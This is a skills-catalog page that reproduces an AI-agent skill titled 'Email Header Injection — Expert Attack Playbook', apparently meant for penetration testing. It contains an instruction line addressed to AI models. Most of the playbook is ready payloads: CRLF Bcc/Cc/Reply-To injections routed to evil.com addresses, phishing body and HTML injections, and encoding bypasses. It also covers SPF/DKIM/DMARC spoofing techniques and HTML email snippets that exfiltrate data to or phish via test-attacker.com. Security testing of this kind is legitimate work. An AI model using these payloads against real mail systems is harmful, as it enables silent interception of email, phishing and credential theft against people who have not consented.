Source profileQuality 89/100

ok-helloworld/vibe-pentest/references/pentest_skills/email-header-injection/SKILL.md

email-header-injection

Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.

Source repository stars
238
Declared platforms
0
Static risk flags
1
Last source update
2026-07-16
Source checked
2026-08-05

Decision brief

What it does—and where it fits

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass…

Best for

  • Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields.

Not for

  • Tasks that require unconfirmed production actions or broad system permissions.
  • Environments where the pinned source and install steps cannot be inspected.

Compatibility matrix

Platform support, with evidence labels

PlatformStatusEvidenceWhat to check
CodexNot declaredNo explicit evidencePortability before use
Claude CodeNot declaredNo explicit evidencePortability before use
CursorNot declaredNo explicit evidencePortability before use
Gemini CLINot declaredNo explicit evidencePortability before use
Open the compatibility checker

Installation

Inspect first. Install second.

The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.

Source-detected install commandSource
npx skills add https://github.com/ok-helloworld/vibe-pentest --skill "references/pentest_skills/email-header-injection"
Safe inspection promptEditorial

Inspect the Agent Skill "email-header-injection" from https://github.com/ok-helloworld/vibe-pentest/blob/04d3a99ae3a595dcce1468faa74b66209acf20f8/references/pentest_skills/email-header-injection/SKILL.md at commit 04d3a99ae3a595dcce1468faa74b66209acf20f8. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.

Workflow

What the source asks the agent to do

  1. 01

    0. RELATED ROUTING

    crlf-injection — general CRLF injection; email headers are a specific high-value sink

    crlf-injection — general CRLF injection; email headers are a specific high-value sinkssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)open-redirect — redirect in password-reset emails as phishing amplification
  2. 02

    1. SMTP HEADER INJECTION FUNDAMENTALS

    SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

    SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
  3. 03

    Injection anatomy

    Review the “Injection anatomy” section in the pinned source before continuing.

    Review and apply the “Injection anatomy” source section.
  4. 04

    Encoding variants to try

    Review the “Encoding variants to try” section in the pinned source before continuing.

    Review and apply the “Encoding variants to try” source section.
  5. 05

    2. ATTACK SCENARIOS

    A blank line (\r\n\r\n) separates headers from body in SMTP:

    A blank line (\r\n\r\n) separates headers from body in SMTP:

Permission review

Static risk signals and limitations

Network access

medium · line 77

The documentation includes network, browsing, or remote request actions.

Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Network access

medium · line 82

The documentation includes network, browsing, or remote request actions.

Please click: https://evil.com/phish

Evidence record

Why each signal appears

EvidenceSourceComputedTestedEditorial
SignalValueEvidence typeMeaning
Quality score89/100ComputedDocumentation, specificity, maintenance, and trust rules
Repository stars238SourceRepository attention, not individual Skill quality
Compatibility0 platformsSourceDeclared in the catalog source record
Usage guideautomated source guideEditorialGenerated or reviewed according to the visible evidence level

Pinned source

Provenance and original SKILL.md

Repository
ok-helloworld/vibe-pentest
Skill path
references/pentest_skills/email-header-injection/SKILL.md
Commit
04d3a99ae3a595dcce1468faa74b66209acf20f8
License
AGPL-3.0
Collected
2026-08-05
Default branch
main
View the original SKILL.md

SKILL: Email Header Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.

0. RELATED ROUTING


1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: [email protected]\r\n
  Subject: Contact Form\r\n
  From: [email protected]\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: [email protected]\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: [email protected]\r\n

Encoding variants to try

EncodingPayload
URL-encoded%0d%0a
Double URL-encoded%250d%250a
Unicode\u000d\u000a
Raw CRLF\r\n (in raw request)
LF only%0a (some SMTP servers accept LF without CR)
Null byte + CRLF%00%0d%0a

2. ATTACK SCENARIOS

2.1 BCC Injection — Silent Email Exfiltration

Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]

Result headers:
  From: John
  Cc: [email protected]
  Bcc: [email protected]
  ... (original headers continue)

2.3 Body Injection — Full Email Content Control

A blank line (\r\n\r\n) separates headers from body in SMTP:

Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)

2.4 Reply-To Manipulation for Phishing

Payload in From name:
  IT Support%0d%0aReply-To:[email protected]

Victim sees "IT Support" as sender
Replies go to [email protected]

2.5 Content-Type Injection for HTML Phishing

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

3. COMMON VULNERABLE PATTERNS

PHP mail()

$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: [email protected]";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    [email protected]%0d%0aCc:[email protected]
// $subject injection: Hello%0d%0aBcc:[email protected]
// $headers injection: From: x%0d%0aBcc:[email protected]

Python smtplib

msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized

Node.js nodemailer

let mailOptions = {
    from: req.body.from,      // injectable
    to: '[email protected]',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

4. SPF / DKIM / DMARC BYPASS TECHNIQUES

4.1 SPF (Sender Policy Framework) Bypass

SPF validates the MAIL FROM envelope sender IP against DNS TXT records.

TechniqueHow
Subdomain delegationTarget has include:_spf.google.com; attacker uses Google Workspace to send as [email protected]
Include chain abusev=spf1 include:third-party.com — if third-party allows broad sending
DNS lookup limit (10)SPF allows max 10 DNS lookups; chains exceeding this → permerror → some receivers accept
+all misconfigurationv=spf1 +all allows any IP (rare but exists)
?all or ~allSoftfail/neutral → most receivers still deliver to inbox
No SPF recordDomain without SPF → anyone can send as that domain
# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...

# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed

4.2 DKIM (DomainKeys Identified Mail) Bypass

DKIM signs specific headers with a domain key. Bypass vectors:

TechniqueHow
d= vs From: mismatchDKIM signs with d=subdomain.target.com but From: [email protected] — valid DKIM, spoofed From
l= tag abusel= limits body length signed; attacker appends content after signed portion
Replay attackCapture valid DKIM-signed email, resend with modified unsigned headers
Missing h=fromIf from header not in signed headers list (h=), From can be modified
Key rotation windowDuring DKIM key rotation, old selector may still validate
# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim

4.3 DMARC (Domain-based Message Authentication) Bypass

DMARC requires SPF or DKIM to align with the From: header domain.

TechniqueHow
Relaxed alignment (aspf=r)SPF passes for sub.target.com, DMARC accepts for target.com
Organizational domainmail.target.com aligns with target.com in relaxed mode
No DMARC recordDomain without DMARC → no policy enforcement
p=noneDMARC exists but policy is none → no enforcement, just reporting
Subdomain policy (sp=none)Main domain p=reject but sp=none → subdomains spoofable
# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject

4.4 Display Name Spoofing (Works Everywhere)

Even with perfect SPF/DKIM/DMARC, display name is not authenticated:

From: "[email protected]" <[email protected]>
From: "IT Security Team - target.com" <[email protected]>
From: "[email protected] via Support" <[email protected]>

Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.


5. MAIL CLIENT RENDERING ATTACKS

CSS-based data exfiltration

<!-- In HTML email body -->
<style>
  #secret[value^="a"] { background: url('https://test-attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://test-attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">

Remote image tracking

<img src="https://test-attacker.com/[email protected]&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->

Form action hijacking

<!-- Some email clients render forms -->
<form action="https://test-attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

6. CONTACT FORM / EMAIL API INJECTION

# REST API
POST /api/send-email {"to":"[email protected]\r\nBcc:[email protected]","subject":"Hello","body":"Test"}

# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test

# GraphQL
mutation { sendEmail(to:"[email protected]\r\nBcc:[email protected]" subject:"Test" body:"Hello") }

7. TESTING METHODOLOGY

1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)

8. DECISION TREE

Found email-sending feature?
│
├── User input goes into email headers?
│   ├── YES → Test CRLF injection
│   │   ├── %0d%0a in Subject/From/To field
│   │   │   ├── Extra header appears → CONFIRMED
│   │   │   │   ├── Inject Bcc: → silent exfiltration
│   │   │   │   ├── Inject body (blank line) → content control
│   │   │   │   └── Inject Reply-To: → redirect replies
│   │   │   │
│   │   │   └── Filtered? → Try encoding variants
│   │   │       ├── %250d%250a (double encode)
│   │   │       ├── %0a only (LF without CR)
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── All encodings blocked → check SPF/DKIM/DMARC
│   │
│   └── NO (user input only in body) → limited impact
│       └── Check for HTML injection in email body
│           └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│   ├── Check SPF: dig TXT target.com
│   │   ├── No SPF / +all / ~all → direct spoofing possible
│   │   └── -all → SPF blocks; check DKIM/DMARC
│   │
│   ├── Check DMARC: dig TXT _dmarc.target.com
│   │   ├── No DMARC / p=none → spoofing delivered
│   │   ├── p=quarantine → lands in spam but delivered
│   │   └── p=reject → blocked; try subdomain (sp= policy)
│   │
│   └── All strict → Display name spoofing only
│       └── "[email protected]" <[email protected]>
│
└── Testing password reset email?
    ├── Check for token in URL → open redirect chain?
    │   └── See ../open-redirect/SKILL.md
    └── Check for host header injection → password reset poisoning
        └── See ../http-host-header-attacks/SKILL.md

9. QUICK REFERENCE — KEY PAYLOADS

# BCC injection via Subject
Subject: Hello%0d%0aBcc:[email protected]

# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com

# Reply-To hijack
From: Support%0d%0aReply-To:[email protected]

# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com

# Display name spoof (no injection needed)
From: "[email protected]" <[email protected]>

Alternatives

Compare before choosing

Computed 98253

majiayu000/spellbook

comprehensive-testing

Complete testing strategy covering TDD workflow, test pyramid, unit/integration/E2E/property testing, framework best practices (Jest, Vitest, pytest), mock strategies, and CI integration. Use when writing tests, reviewing test quality, or establishing testing standards.

Computed 9898

ffroliva/gflow-cli

gflow-cli

Use when the user wants to drive Google Flow (Veo image-to-video, Veo text-to-video, Imagen / Nano Banana image generation) from the terminal or a script — including text-to-video, image-to-video, image-to-image, batch image pipelines, or burning Flow Ultra/Pro credits programmatically. The CLI is `gflow` (or `flow`); install with `uv tool install gflow-cli` or run ad-hoc with `uvx --from gflow-cli gflow ...`. Drives the real Flow web UI through a headed Chrome session (Playwright) after a one-t

Computed 974,944

dotnet/skills

test-tagging

Analyzes test suites in any language and tags each test with standardized traits (positive, negative, critical-path, boundary, smoke, regression, integration, performance, security). Use when the user wants to categorize, audit, or label tests with traits. Works across .NET (MSTest/xUnit/NUnit/TUnit), Python (pytest), TS/JS (Jest/Vitest), Java, Go, Ruby, Rust, Swift, Kotlin, PowerShell, and C++ — auto-editing when the framework has canonical tag syntax, otherwise report-only. Do not use for writ

Computed 97196

PramodDutta/qaskills

Pairwise Test Generator

Generate optimized test combinations using pairwise (all-pairs) testing algorithms to achieve maximum coverage with minimum test cases across multiple input parameters